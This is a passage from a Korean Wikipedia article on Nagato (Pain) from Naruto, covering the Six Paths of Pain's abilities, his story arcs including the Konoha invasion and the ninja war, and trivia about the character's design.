대머리다). 각각의 페인들은 얼굴과 몸의 수십개의 피어싱을 하고있는데, 그 피어싱들의 모양, 사이즈, 그리고 장착 패턴은 모두 달랐다. 그들은 소환술, 인술 흡수, 생각 읽기 등 모두 다른 능력을 갖고있었다. 나가토 자신은 일곱번째 페인인 외도(外道)로, 살아있는 모든것들의 생명과 죽음에 대해 제어력이 있었다. 페인들은 모두 시야를 공유 하므로 앞뒤로 포위 됐다고 둘중 하나의 뒤로 가서 공격 하는건 통하지 않는다 시야를 공유 하므로 손바닥 뒤집듯이 피하면 그만, 따라서 후카사쿠는 페인을 상대할때 한번에 한명씩상대하는 것이 제일 알맞은 공격 방법이라고 했다. 코난이 말했듯이, 나가토는 윤회안의 힘으로 육도페인의 모든 능력들을 쓸수있는 능력이 있었다. 이것은 후에 카부토에 의해 부활했을때 증명되었다. 육도페인의 모든 능력을 본체에 다 갖고있는 부활 한 나가토는 무적의 상대였다. 그는 다수의 페인들의 능력들을 동시에 구사할 수도 있었으며, 나루토는 본체를 사용하는 나가토의 술법들의 힘과 속도는 훨씬 더 강력했다고 했다. 킬러B와의 대결 중에는 아귀도의 능력인 흡수술을 이용하여 2단계의 킬러B의 차크라를 흡수할 수 있었다. 참고로 육도 페인의 대사는 나가토의 담당 성우가 맡고있다 다만 나가토 본체와는 달리 냉정하고 차가운 톤이다 두 번째 축생도는 한국판의 경우 김율이라는 성우가 담당하게 되었다 페인 수라도(修羅道)는 몸 내부가 각종 살인 기계들로 채워져 있으며, 이 기계들로 공격한다.실상 매인 사용 무기는 유도 미사일뿐 3개의 얼굴이 돌아감에 따라 무기가 교체되며 6명의 페인 중 선봉. 간단한 칼부터 미사일까지 별의별 무기들이 장착돼 있다. 지라이야의 팔을 잘라버린 녀석. 츠나데 공격 직전에 선인모드의 나루토가 날린 나선환(螺旋丸)한방에 황천길로 간다. 힘이 매우 샌데 여성체로 바뀐 축생도를 엄청난 속도로 집어 던지는 괴력을 보여준다 육도 윤회에서 수라는 전쟁과 폭력으로 생존하는 세계다. 아수라는 수라세계의 우두머리다. 카카시와 전투시 때처럼 양쪽 뺨에 얼굴이 하나씩 자라나고 팔이 6개가 되는등 기괴한 신체 변형이 가능하다 대머리인데 서클렛 위쪽 부분의 피부가 5등분으로 조각 나면서 열리면 파괴용 레이저빔 발사 장치가 등장한다. 주요 공격법은 오른손을 비틀어 당겨서 그속에 장치된 미사일을 꺼내 공격 하는 것이다 닌자 세계에 미사일이 존재 하는 것 자체가 말이 안되는 설정 카카시에게 처참하게 당해 거의 박살난후에도 마지막 힘을 짜내 등에 감춰진 거대 미사일을 쵸지에게 날린다. 육도 페인중 가장 말이 없는 두명 중 하나다.(수라도와 아귀도가 제일 말이 없다)수라도의 시체는 지라이야가 왕 두꺼비 선인의 예언에 따라 세상을 바꿀 변혁자를 찾아 여행을 하던 도중 만난 꼭두각시 술사다(지라이야 인법천참조) 수라도의 얼굴은 하얀색에 대머리이며 얼굴의 차크라 수신기는 턱에 큰 사이즈1개 코에 문손잡이 모양1개 뺨에 작은 사이즈 수신기가 2개씩 4개 서클렛 위쪽의 머리에 뿔모양의 수신기가 다수가 박혀있다 페인 아귀도(餓鬼道)는 모든 인술을 흡수하는 능력을 갖고 있다. 방어형으로 인술의 능력과 크기를 모두 무시하고 흡수한다. 체술(対術)공격에 약하다. 대규모공격은 흰색깔의 돔 같은것을 둘러 흡수한다 육도 페인중 가장 말이 없는 두명 중 하나다 육도윤회에서 아귀는 배는 태산만한데 목구멍은 바늘구멍 크기라 먹지를 못해 항상 목마름과 배고픔에 시달리는 세계다. 나루토의 차크라를 흡수하던 중 자연 에너지를 지나치게 흡수하여 두꺼비 석상이 되어 죽는다. 아귀도의 시체는 지라이야가 왕 두꺼비 선인의 예언에 따라 세상을 바꿀 변혁자를 찾아 여행을 하던 도중 술집에서 만난 두닌자중 하나다 풀마을 출신이다 농사지어 힘들게 번 돈을 도박으로 날린사내(지라이야 인법천참조) 아귀도는 올백으로 넘긴 주황색 머리에 양쪽 귀에 안테나 모양 수신기 1개씩 뺨에 뿔모양의 중형수신기를 양쪽에 1개씩 코에 수신기 2개 아랫 입술에 역삼각형 모양 수신기 5개를 박고있다 페인 인간도(人間道)는 희생자의 머리에 손을 대고 그의 두뇌에 있는 모든 정보를 단숨에 읽어낼 수 있는 능력을 가졌으며, 희생자의 혼백을 뽑아낼 수도 있다. 감지능력도 무효화한다. 선인모드 지라이야의 돌려차기에 얻어맞아 눈이 퉁퉁 부어 능력 사용을 못한 페인 활약상이 적어 육도페인중 약체로 평가되나 나뭇잎 마을 침공 당시 암부조차도 모르게 접근해 시즈네를 북망산으로 보내버렸다. 나루토의 풍둔:나선수리검(風遁:螺旋手裏剣)에게서 축생도를 구해내고 세포 분해되어 사망 인간도의 시체는 지라이야가 왕 두꺼비 선인의 예언에 따라 세상을 바꿀 변혁자를 찾아 여행을 하던 도중 술집에서 만난 두닌자중 하나다 폭포마을 출신(지라이야 인법천참조) 인간도는 장발의 주황색 머리칼에 뺨에 작은 사이즈의 수신기를 양쪽에 2개씩 턱에도 작은사이즈 수신기 2개 코에 사선으로기울어진 수신기를 2개를 박고있다 페인 지옥도(地獄道)는 희생자의 목을 잡은 뒤 자신의 뒤에 지옥의 왕을 소환할 수 있으며, 지옥의 왕이 희생자의 혼백을 강제로 가져가버리게 할 수 있는 능력을 갖고 있으며 죽은 페인을 살릴 수 있다. 상대의 말이 진실인지 거짓인지를 판별할 수 있다. 거짓이면 죽여 버린다. 진실과 거짓을 판별하는 법은 우선 지옥의 왕을 소환후 질문을 한다 예를 들어 "우즈마키 나루토는 지금 이 마을에 있는거냐 없는거냐 어느쪽이냐?" 식으로 묻는다 희생자가 대답을 하면 희생자의 입에서 혀같은것이 길게 나오며 지옥의 왕이 손가락이 달린 혀로 그것을 잡는다 그리고 지옥도가 "그럼 판결을 내리겠다" 라고 하면 지옥의 왕이 희생자가 거짓을 말했을 경우 그 혀같은것을 뽑아버려 죽인다. 거짓말이 아니면 죽지않는다. 인술과 체술엔 약하다. 다만, 자신을 방어할정도의 간단한 체술은 구사가능 그래봐야 단순한 격투 기술에 지나지 않지만, 전투시 후방에서 전투불능 또는 사망한 페인을 살려주는 힐러이며, 지옥도가 살아있는 한 어떤 페인을 죽여도 다 살아나기에 나루토의 분석 결과 제일 먼저 죽여야 되는 페인이다. 사망한 페인을 살리는 법은 지옥의 왕을 불러낸후 지옥의 왕이 손가락이 달린 혀로 죽거나 중상을 입은 페인을 잡아 입안에 넣고 씹는 동작을 몇번하고 입을 벌리면 들어갔던 페인이 회복되거나 살아나온다. 지옥의 왕도 윤회안을 가지고 있다. 육도윤회에서 지옥은 가장 고통 받는 곳이다. 불교에선 팔열지옥 팔한지옥 등 수십 개의 지옥이 존재한다고 한다. 코노하마루의 나선환에 의해 쓰러지나 치명적이지 않았고 나루토의 나선간환에 의해 죽는다 지옥도의 시체는 지라이야가 왕 두꺼비 선인의 예언에 따라 세상을 바꿀 변혁자를 찾아 여행을 하던 도중 사람들을 모아놓고 연설하던 사내다(지라이야 인법천 참조)지옥도는 천도보다 조금 더긴 뾰족뾰족한 주황색 머리칼에 눈사이에 작은 수신기 1개 뺨의 여덟팔자 주름을 따라 양쪽에3개씩6개의수신기 아귀도처럼 귀에 안테나 모양 수신기를달고있다 다만 양쪽 귀에 1개씩 단 아귀도와 달리 양쪽귀에 3개씩 6개를 달고 있다 페인 천도(天道)는 인력과 척력을 조종할 수 있는 능력을 가졌다. 척력으로 일미의 수학(一尾の守鶴)과 만화경 사륜안의 스사노오(須佐能乎)를 능가하는 절대 방어를 구사하며 지폭천성(地爆天星) 신라천정(神羅天征) 술법을 구사한다. 상대를 튕겨내는 신라천정은 최소 5초의 연속 공격시간을 가진다 규모가 클수록 다음 공격을 할때 까지의 쿨타임이 엄청 길어진다. 규모가 커지면 나뭇잎 마을 하나 정도는 무리없이 파괴한다. 또한 상대를 당기는 만상천인(万象天引)이있다. 그리고 비를 조종할 수 있다. 여섯 페인 중 최다수로 등장한다. 나루토의 환영분신 연계 나선환에 의해 사망한다. 육도 윤회에서 천은 하늘나라의 신적인 존재다. 육도 페인중 가장 말이 많다. 아마도 나가토가 친구였던 야히코의 시체로 만든게 천도라 정이 가서 그런지 천도를 통해 할말을 다한다. 육도중 가장 강력체다.천도의 몸은 다른 페인과 달리 소중히 다뤄졌으며 천도를 지키키 위해 다른 페인들을 희생 시켰다 천도의 시체는 나가코와 코난의 친구이자 지라이야의 최초 제자중 하나인 야히코다 천도는 천상도라고도 불린다 천도는 야히코의 생전 머리칼과 같은 머리칼을 하고 있다 다른 페인의 머리칼이 밝은 주황색인것도 천도와 통일성을 주려고 그런건지도 코에 좌우 대칭형으로 6개의 수신기를 양쪽 귀에 막대 모양 수신기 1개와 귀걸이 모양 수신기를 6개 달고 있다 페인 축생도(畜生道)는 각종 소환수를 소환하는 능력을 갖고 있다. 지라이야와 결투당시의 축생도와 나뭇잎 마을 침공 당시의 축생도는 다른 모습인데 결투에서 죽은뒤 시체를 찾지못한 축생도를 대신해 나가토가 생사의 술법으로 여자의 시체로 새로운 축생도를 만들었다. 가마분타(ガマブン太)의 입속에서 나루토의 나선간환에 맞아 죽는다. 축생은 죄를 지은 자가 짐승으로 태어나는 세계다. 공격용 방어용 소환수를 불러내며 공격용은 가마분타급의 공격력을,방어용은 모래의 수학급의 방어력을 자랑한다 모든 소환수에겐 차크라 수신기와 윤회안이있다. 전(前) 축생도의 시체는 지라이야가 왕 두꺼비 선인의 예언에 따라 세상을 바꿀 변혁자를 찾아 여행을 하던 도중 단지 적이 숨어 있을거란 이유로 마을 하나를 통째로 날려 버린 후우마 일족의 닌자다 이후 지라이야와 후우마 닌자와의 결투장면과 대사는 후일 지라이야가쓴 책 근성 닌자전에 그대로 들어가 있다(지라이야 인법천참조)후(後)축생도는 지라이야에 의해 사망하여 빼앗긴 후우마 일족 닌자 시체로 만든 축생도를 대신하여 지라이야가 비마을 잡입당시 마추친 2명의 비마을 하급닌자가 운반해 온 여자의 시체로 만들었다 후축생도의 한국판 목소리는 김율이라는 성우가 담담했다 전축생도는 조황색포니테일머리에 미간에 1개 양 뺨에 1개 귀에 귀걸이 모양으로 1개씩 턱선을 따라 6개의 수신기를 박고 있었다 뺨의 수신기는 가는 선으로 코에 연결되어 있다 후축생도는 주황색 단발 머리에 정수리 부분을 귀엽게 묶고 있으며 코에 1개 양 뺨에 직선으로 3개의 수신기를 달고 있다 등장[편집] 질풍전[편집] 페인은 질풍전에서 홀로그램으로 아카츠키 모임에 자주 등장했다. 그는 아카츠키의 리더로써, 미수(尾獸)를 봉인할때 흩어져 있는 멤버들을 모았다. 질풍전의 에피소드가 더해갈수록 얼굴의 부분 부분을 비추기 시작하면서, 코난의 전신이 나올때 함께 나왔다. 이타치 뒤쫓기 일주[편집] 나가토의 옛 스승인 지라이야는 개구리를 이용해 비 마을에 잠입한다. 지라이야가 개구리 속에서 완전히 나왔을때, 나가토는 비를 방해하는 무언가를 느꼈다. 나가토는 코난에게 침입자를 수색하라는 명령을 내리고 비를 그치게 했다. 코난이 수십개의 종이나비로 변신해 수색하러 갔을때, 나가토는 천도를 축생도로 바꾼다음 지라이야 수색에 나섰다. 지라이야는 금세 비 마을 닌자의 몸 안에 숨고 비 마을을 깊게 수색하기 시작하는데 코난에게 잡힌다. 지라이야는 비 마을 닌자의 그림자 에서 나오고 코난과 대결을 하기 시작하지만, 기름공격으로 코난을 뒤덮어 버린다. 그때 나가토가 코난을 구하기 위해 소환수를 이용해 코난의 몸에 묻은 기름을 다 씻어낸다. 그 후에 카멜레온을 소환해 위장술을 쓴다. 지라이야는 결계·천개법진(結界・天蓋法陣)을 이용해 돔 형식의 방어막과 소환법을 이용해 가마켄(ガマケン)을 소환한다. 그와 동시에 나가토도 소환술을 쓰는데, 이번에는 머리가 여러개 달린 개를 부른다. 지라이야는 그 소환수과 싸우는데, 소환수는 재생능력을 갖고있으며, 거의 모든 가마켄의 공격을 피하하여, 힘들게 위치를 유지한다. 하지만 지라이야가 나가토의 개들을 두꺼비의 뱃속에 가두어 둠으로 인해 소화시켜버린다. 나가토는 이번에는 새를 소환하였는데, 그 새는 지라이야를 따라다니며 공격했지만, 결국엔 타 죽어 버린다. 또 다른 동물을 소환한 나가토의 소환수 코뿔소도 또한 가마켄에게 처치되었다. 나가토는 마지막으로 거대황소를 소환하는데, 그때에 지라이야의 방어막이 사라지면서 황소를 날려버린다. 나가토가 소완한 모든 소환수들을 상대한 지라이야는 선인모드를 작동시키며 후카사쿠(フカサク)와 시마(シマ)를 소환하며 나가토의 카멜레온도 죽이는데, 그와 동시에 숨어있던 축생도를 찾아낸다. 그 후 아귀도와 인간도가 지라이야를 상대하기 위해 소환된다. 인간도는 지라이야에게 머리를 맞은후 앞을 볼수 없게 되지만, 지라이야를 죽이려고 힘쓴다. 그 다름 지라이야는 아귀도, 인간도, 그리고 축생도를 선법:고우위문(고에몬)(仙法:五右衛門)을 이용해 다 타버리게 하려 했지만, 지라이야의 선법은 아귀도에게 흡수되어 버린다. 그 후 지라이야는 대옥나선환(大玉螺旋丸)을 쓰지만, 이것 역시 흡수되어 버린다. 그 다음엔 인간도가 공격을 시작하고, 축생도는 두꺼비들로 인해 방해를 받는다. 그 후 지라이야가 선법:천개의 털 바늘(모침 천본)(仙法:毛針千本)을 이용해 공격을 한다. 하지만 축생도가 거대판다를 소환하여 공격을 막았다. 지라이야는 그들의 공격을 간파하고 파이프 안으로 들어가 탈출한다. 파이프에 있을때는 윤회안의 빈틈을 찾기위해 환법(幻法)을 쓴다. 세 페인들은 지라이야를 쫓지만, 지라이야의 환법에 걸린후 죽임을 당한다. 하지만 지라이야가 떠나면서 방심한 찰나에 페인에게 공격을 당하게 된다. 죽었던 페인들은 지옥도의 능력으로 인해 다시 살아난다. 나중에 지라이야는 축생도를 죽이지만, 후에 페인들에게 처참하게 살해당한다. 지라이야의 시체는 바닷속 깊은곳으로 떨어지고, 나가토는 옛 스승에게 경의를 표하며 짧은 묵념의 시간은 가진다. 츠지구모 일족 금술(禁術) 일주[편집] 애니메이션에서 나가토가 축생도의 새로운 몸을 구하고 난 후, 안개마을의 탈주닌자인 우타카타(ウタカタ)속에 있는 육미(六尾)를 잡는 임무를 맡았다. 육미를 수색하는 도중에, 축생도는 머리가 여러개 달린 개를 소환해 츠구리가 이끄는 안개마을의 추적닌자 무리를 발견하고 죽인다. 우타카타가 츠쿠리와 그의 무리들에게 자신을 포위하라 하려했지만, 페인을 찾았다. 페인은 우타카타에게 우타카타의 육미가 페인의 이상의 세상을 만들기 위해 필요하다고 설명하며 우타카타를 포획해 데려갔다. 페인의 나뭇잎마을 정복[편집] 구미(九尾)와 팔미(八尾)를 남겨두고, 페인과 코난은 나뭇잎 마을에 도착한다. 도착하자 마자 마을 경계를 지키는 수비닌자들 제거하고나서, 두 팀으로 나누어서 나뭇잎 마을에 침입한다. 나가토는 수라도, 아귀도, 그리고 축생도를 양동 팀으로 나누어 닌자들을 유린하게 만들고, 천도, 인간도, 지옥도, 그리고 코난을 수색팀으로 나누어 나루토를 찾는다. 여섯의 페인들은 임무를 따르며 나뭇잎 마을을 파괴하는데, 그중에 천도는 하타케 카카시와 맞딱뜨린다. 수라도가 천도를 보조해주며 카카시의 동료들돠 싸우지만, 수라도는 파괴되었다. 나뭇잎 마을 안에서는 남은 페인들은 나뭇잎 닌자들에 맞서며 자신의 임무에 힘을 다하고 있었다. 천도는 5대 호카게 츠나데에게 찾아가 나루토의 위치를 묻는다. 하지만 츠나데는 거절한다. 다른 곳에서는 인간도는 자신특유의 심문능력을 이용해 시즈네의 마음을 읽어 나루토가 묘목산에 있다는걸 알아낸다. 그 즉시 모든 페인은 나뭇잎 마을을 벗어나고, 천도는 츠나데에게 나뭇잎 마을은 고통에 무지하기 때문에 고통을 가르쳐 주겠다고 한다. "고통을 느껴라, 고통을 생각해라, 고통을 납득해라라, 고통을 알아라. 고통을 알지 못하면 참 평화도 알지 못한다"(「痛みを感じろ痛みを考えろ痛みを受け取れ痛みを知れ痛みを知らぬものに本当の平和分からん」)라는 말과 함께 신라천정(神羅天征)을 사용하여 나뭇잎 마을을 초토화 시킨다. 인법이 끝나고 연기가 가라앉을 때 즈음에 천도는 나루토가 세 마리의 두꺼비들과 돌아온것을 확인한다. 초토화 돼버린 자신의 마을을 본 나루토는, 보복으로 츠나데를 공격 하려하는 다시 살아난 수라도를 나선환으로 한방에 박살내 버린 후, 남은 페인들을 상대한다. 축생도는 나루토와 싸우기 위해 소환수들을 부르고, 나루토의 두꺼비들은 페인의 소환수들과 싸우고 나투로는 두꺼비 대련술로 아귀도를 죽인다. 그 다음, 나루토는 풍둔:나선수리검(風遁:螺旋手裏剣)을 이용해 인간도를 세포 분해후, 가마분타(ガマブン太)와 협력해 축생도를 상대해 승리한다. 넷의 페인이 죽은 후 남은 천도는 지옥도를 지킨다. 지옥도는 바로 아귀도를 살려내었다. 그렇게 살아난 아귀도는 나루토의 두 번째 나선수리검을 흡수해 버리는데, 그것은 단지 나루토가 아귀도를 처리하기 위함이었다. 그때 힘이 되돌아온 천도는 아귀도가 나루토의 차크라를 빨아들여 무능하게 만들으려 나루토를 잡았지만, 나루토의 선법 차크라를 빨아들인 아귀도는 두꺼비의 모습을 갖기 시작하다가 돌로 변해버렸다. 이 빈 틈을 타 나루토는 탈출했지만 다시 천도에게 붙잡혀 차크라 방해 무기들이 몸에 꽃히게 된다. 그때 천도는 나루토에게 이 모든 것의 이유는 닌자시스템이 세상에 가져온 돌고도는 증오, 고통, 시련, 그리고 전쟁을 소멸시키고, 미수들을 이용해 세상의 모든 갈등을 없애고 평화를 가져오기 위함이라고 설명한다. 그리고는 나루토에게 더 좋은 방법이 있냐고 묻지만 나루토는 대답할 수 없었다. 천도가 나루토를 데려가기 전, 휴우가 히나타가 나타나 나루토를 지키려고 한다. 그때에 히나타는 죽음 직전까지 가게 되었는데, 그로 인해 광분한 나루토는 구미의 증오심과 차크라와 싱크로해 육미(六尾)상태가 되었다. 그때의 천도는 육미의 나루토를 상대하기에 불가능한 상태로, 나가토와 가까운 곳으로 후퇴한다. 나가토의 본체와 가까워진 천도는 지폭천성(地爆天星)으로 나루토를 구(球)형의 지구의 잔여물안에 나루토를 가둔다. 나가토의 승리가 보일때 즈음에, 나루토가 팔미(八尾)로 진화해 지폭천성에서 벗어난다. 더 큰 원구를 만들어야 하는 것을 깨달은 천도는 원구를 더욱 크게 만들기 위해 힘을 무리하게쓰고, 팔미 이상이 되면 나루토의 의식속에서 자신이 깨어나도록 술식을 짠 미나토가 나타나 나루토의 구미 봉인을 다시 걸어준다 원래의 상태로 돌아온 나루토는 부서진 잔해 속에서 나왔다. 나루토는 좀 전에 들은 천도의 설교로 인해, 나가토의 본체와 만나 얘기하고 싶어했지만, 천도는 받아들이지 않고 공격했다. 나루토는 나선수리검을 두 번이나 실패하였지만, 천도가 가진 약점(다음 인술을 펼치기 까진 최소 5초가 걸린다)을 이용하여 완벽한 시간조절로 천도를 무너뜨렸다. 나루토는 천도의 차크라 수신기 중 하나를 때 자신에게 삽입해 차크라 역수신을 시도해 나가토의 위치를 알아냈다. 지라이야의 죽음과 나뭇잎 마을을 파괴한 장본인인 나가토에게 화가 나있었던 나루토이지만, 침착하게 지라이야의 제자로써 나가토에게 질문을 시작했다. 나루토는 어떻게 옛 스승의 가르침에서 그만큼 멀어질수가 있는가를 질문했다. 나가토는 나루토가 자신이 생각하는 이상의 평화와 동의할것을 기원하며 자신의 과거와, 자신의 인생에 있었던 비수같은 고통들과, 고통만이 세상을 구원할 수 있는 이유를 설명했다. 나투로는 나가토의 궁극적인 결론에 동의하였지만, 지라이야의 가르침과 너무 다른 나가토의 결론을 받아들이지 않았다. 그와 함께, 나루토는 나가토의 평화를 가져오는 방법에 대한 선문(先問)에 대해 "증오의 굴레를 소멸하는 것"이라고 대답했다. 나루토는 나가토를 죽이는 것은 단지 복수의 굴레를 영구화 시키는 것이라고 판단하기에 이른다. 나가토는 나루토의 결정에 감탄하고, 지라이야의 가르침을 회상하며, 나루토의 대답에 따르기로 결정했다. 나가토는 외도:윤회천생술(外道:輪廻天生の術)을 이용해 자신으로 인해 사망한 나뭇잎 마을 사람들을 부활시켜주었다. 빨간 머리가 백발이 될 정도로 너무 많은 차크라와 스테미너를 소진한 나가토는 마지막으로 자신의 목숨을 인술의 대가로 지불한다. 나가토는 죽기 전, 나루토의 평화의 꿈이 이루어 지길 바랬고, 나루토와 지라이야의 책을 "참 신의 유산"이라고 여겼다. 나가토는 자신의 스승과 같이 얼굴에 미소를 머금고 눈을 감았다. 인주력 봉인 일주 나가토는 마다라와 동맹을 맺고싶은 카부토로 인해 부활한다. 부활한 나가토의 원래의 머리색인 빨간색이 아닌, 흰 백발을 갖고있었지만, 몸 상태는 예전과 다름없이 거동이 불편했다. 하지만 항상 등 뒤에 꽂고있던 차크라 수신기는 갖고있지 않았다. 닌자세계대전 일주[편집] 나가토는 카부토와 마다라가 전쟁을 선포함과 동시에 소환되었다. 그는 이타치와 카쿠즈와 마찬가지로 전쟁을 위해 쓰이게 되었는데, 걸을수가 없는 나가토는 우치하 이타치의 도움으로 걷게된다. 밤이 되고 싸움이 멎었을 때에, 나가토는 이타치와 둘이 남겨진다. 그들은 걸으며 예전 아카츠키에 소속 했었을때를 회상하며 대화를 하는데, 이타치와 자신은 혈계한계인 강력한 동술로 인해 마다라에게 이용당했다고 말하며, 이타치는 어둠 속에 가려진 진짜닌자로 표현했다. 성지에 잠깐 쉬어갈때 둘은 마다라의 계획과 책략에 대해서 의논했다. 나가토와 이타치는 어떤 산을 향해 가며 예전을 회상하고 있을때, 나루토와 킬러B와 조우한다. 나가토와 이타치 자신들은 나루토와 다시 대결해야 한다는 사실에 비통해한다. 그와 동시에나가토는 나루토를 다시 만났다는 것에 기뻐하며, 나루토의 인주력으로써의 상태에 대해 질문하고, 구미를 제압하고 나루토 자신 안에 있는 증오를 뛰어넘음에 극찬한다. 강제로 나루토와 킬러B를 공격해야 하는 나가토와 이타치는 공격에 앞서 곧 닥칠 이타치의 공격과, 우치하 일족 말살사건의 전말을 알게되고 경악을 금치 못한다. 나가토는 만상천인(万象天引)으로 나루토와 큰 바위를 충돌하게 하는데, 자신의 공격을 튕겨낼수 있는 나루토의 능력에 감탄한다. 그리곤 나루토와 킬러B에게 자신과 이타치를 떨어뜨려 놓으라고 한다. 걷지 못하는 나가토 자신은, 소환술을 이용해 자신의 소환수인 개와 새를 불러들이고 자신도 이젠 날수 있다고 농담을 한다. 나루토와 대결하게 된 나가토는, 자신의 개는 그 어떤 괴력으로도 파괴될 수 없으니 자신을 공격하라고 지시한다. 나가토는 이타치의 변화를 감지하고, 이타치가 아마테라스(天照)를 쓰려고 한다고 나루토를 주의시탄다. 하지만 나가토는 자신의 소환수들이 공격을 당하는 것을 보고 그 까마귀가 무엇인지를 묻는다. 그때 이타치는 나가토에게 돌아서서 아마테라스로 공격을 하고 나가토는 이타치의 변화를 깨닿는다. 나가토는 아마테라스의 불들에 삼켜져 바닥으로 추락하지만, 신라천정을 이용해 다른 이들을 자신에게서 멀어지게 만든다. 카부토로 인해 의식이 제거된 나가토는, 다시 재생해 자신의 카멜레온을 소환해 그 입 속 안으로 피한다. 그리고 그 안에서 거대한 신라천정을 이용해 상대들을 놀래킨 후 킬러B에게 다가가 공격하지만, 팔미(八尾)버전2의 킬러B와 뢰이열도(雷犂熱刀)로 오히려 공격당한다. 하지만 나가토가 갖고있는 아귀도의 능력으로 킬러B의 차크라를 흡수한다. 이로인해 나가토의 몸은 외도마상을 부르기 전 상태로 돌아가고, 자신의 카멜레온을 이용해 나루토를 포박한후 영혼을 가져가려 한다. 나가토가 나루토의 몸과 영혼을 카부토에게 보내기 위해 지옥의 왕을 소환했을때, 킬러B가 나가토를 절단시킨후 나루토를 살리려고 하지만, 수라도의 두 팔로 나가토는 킬러B를 막고, 나머지 두 팔은 나루토의 영혼을 거의 다 빼내기까지 이른다. 하지만 그때 이타치가 자신의 수사노오(須佐能乎)를 이용해 나가토를 막는다. 그래서 나가토는 지폭천성을 이용해 그 셋을 포획하려 하지만, 이타치의 야사카의 곡옥(八坂ノ勾玉), B의 미수옥(尾獣玉), 그리고 나루토의 나선수리검으로 인해 나가토의 인술준비가 끝나기도 전에 막는다. 마지막 공격으로 인한 연기가 사라졌을때 나가토는 자신의 의식이 돌아오고, 수사노오의 토츠카의 검이 자신에게 꽃혀있는 것을 발견한다. 나가토는 이타치에게 봉인 되기 전 마지막 순간에 나루토에게, "지라이야 호걸담....훌륭한 이야기였다 나는 속편이었어. 언제나 그렇듯 엉망이었지. 나루토, 실패작인 나를 가릴수 있을정도의 걸작이 되거라....."라고 한다 이 장면은많은 감동을 준 장면 나가토는 토츠카의 검이 자신을 봉인할때에 이제서야 지라이야와 함께할 수 있다고 말하며 작별인사를 하였다. 나가토의 유산[편집] 나가토의 죽음 후, 아카츠키와 더 이상 관련되어 있을 이유가 없어진 코난은 아카츠키를 탈퇴했다. 코난은 나가토와 천도(야히코)의 시체를 비 마을로 갖고와 장례를 치웠다. 두 사람은 아카츠키의 유니폼을 입고 꽃으로 꽉 찬 성지에 눞혀졌다. 나루토가 어지러운 닌자세계에 평화를 갖고올것이라는 것을 믿고 죽어간 나가토를 지켜본 코난은 비 마을은 나루토의 미래를 위해 충성을 다할것을 맹세한다. 마다라는 나가토의 죽음에 놀랐고, 나가토의 윤회전생술을 사용함으로 자신을 "배신"한것에 대해 격노했다. 마다라는 후에 나루토 앞에 나타나 어떻게 나가토의 마음을 움직였는지 묻는다. 나루토는 단지 권력에만 집착하는 마다라와는 달리, 나가토는 진심으로 평화를 원했다고 대답했다. 나가토의 죽음으로, 토비(오비토)는 나가토의 윤회안을 가져가기로 마음먹었다. 그는 비 마을로 건너가 코난에게 윤회안의 위치를 물었다. 하지만 코난은 대답하기를 거절하고 나가토의 몸을 지키기 위해 온 힘을 다해 맞섰지만 패배했다. 그 후 토비(오비토)는 나가토의 시체를 찾고, 그는 나가토가 세 번째 육도였다고 말한다. 토비(오비토)는 미소를 띄며 죽어간 나가토를 보고 계속되는 배신에 조롱당하는 기분이라 표현했다. 그리고 나가토를 다른 디멘션에 있는 "실험실"로 데려가 눈 하나를 자신의 왼쪽 눈으로 만든다. 나가토의 탄생배경[편집] 나루토 데이터 북:자의 서 캐릭터 오피셜 데이터 북에는 키시모토의 나가토의 디자인에 대한 뒷얘기가 실려있다. 키시모토가 말하기를, 아카츠키의 리더로써 꽤 멋있는 느낌지기만, 위험한 인물처럼 보이게 그렸다고 한다. 키시모토는, 그의 이름을 "페인"이라 지은 후부터 자신의 신체로까지 고통을 나타내는 캐릭터로, 페인의 몸에 피어싱을 그리기로 마음먹었다고 한다. 애니메이션에 처음 등장했을때는, 페인의 윤회안읜 색이 다른 색으로 칠해진 것이 아닌가 생각했지만, 377회에 첫 유색 일러스트가 실렸는데 그것과 애니메이션의 눈 색깔이 같았다. 몇몇의 나가토의 능력은 불교의 교리와 전문용어로 부터 영감을 받은것으로, 스토리 중 나가토는 고통과 괴로움의 경험에 대해 얘기했는데, 이것 또한 부처의 사상으로 부처도 후에 그 사상을 저버렸다. 나가토에 대한 일반 상식[편집] 나가토의 이름의 "장수하는 문"이라는 뜻이다. 나가토의 모든 육도페인은 한번씩 지라이야와 만난적이 있었다. 나가토의 육도페인들은 모두 시체들로 만들어져 있는데, 축생도의 소환수들 역시 죽었던 시체들로 추측된다. 그들역시 나가토의 윤회안과 피어싱을 소유했다. 나가토의 어린시절, 전쟁의 아픔과 공포를 경험할 비 마을 고아들을 불쌍하게 여겨 죽여줄것을 제안한적이 있는 오로치마루가 나중에 아카츠키에 입단하게 되는데, 그 고아들이 오로치마루 자신의 선배가 된다는 것에 어떻게 생각했는지는 미지수이다. 나가토는 자신을 "신"이라고 생각했는데, 애니메이션에 나가토가 등장할때마다 괴기스럽지만 거룩한 음악이 배경음으로 깔렸는데, 이 음악의 이름은 "의례"라고 OST에 실려있다. 세 번째 데이터 북에 따르면: 나가토의 취미는 인술을 연습하는 것이었다. 자신의 친구들을 지키기 위해선 누구도 그의 적이 될 수 있었다. 나가토가 제일 좋아하는 음식은 구운 생선과 스튜이다. 나가토가 제일 좋아하는 문장은 "별은 비가 오는 밤 속에 숨어있다"이다. 어릴때는 "성장"이었다. 나가토는 나루토와 싸우는게 소원이었다(구미를 뜻한다고 할 수 있다.) 원본 주소 "https://ko.wikipedia.org/w/index.php?title=나가토_(나루토)&oldid=22386534" 분류: 나루토의 등장인물가공의 일본 사람가공의 남자숨은 분류: 출처가 필요한 글/2011년 11월출처가 필요한 모든 글전체에 출처가 필요한 글 둘러보기 메뉴 개인 도구 로그인하지 않음토론기여계정 만들기로그인 이름공간 문서토론 변수 보기 읽기편집역사 보기 더 보기 검색 둘러보기 대문사용자 모임요즘 화제최근 바뀜모든 문서 보기임의 문서로도움말기부 도구 여기를 가리키는 문서가리키는 글의 최근 바뀜파일 올리기특수 문서 목록고유 링크문서 정보위키데이터 항목이 문서 인용하기 인쇄/내보내기 책 만들기PDF로 다운로드인쇄용 판 다른 언어 DanskEspañolFrançaisGalegoItalianoShqipTürkçeУкраїнська中文 링크 편집 이 문서는 2018년 9월 13일 (목) 23:52에 마지막으로 편집되었습니다. 모든 문서는 크리에이티브 커먼즈 저작자표시-동일조건변경허락 3.0에 따라 사용할 수 있으며, 추가적인 조건이 적용될 수 있습니다. 자세한 내용은 이용 약관을 참고하십시오.Wikipedia®는 미국 및 다른 국가에 등록되어 있는 Wikimedia Foundation, Inc. 소유의 등록 상표입니다. 개인정보 정책 위키백과 소개 면책 조항 개발자 쿠키 정책 모바일 보기
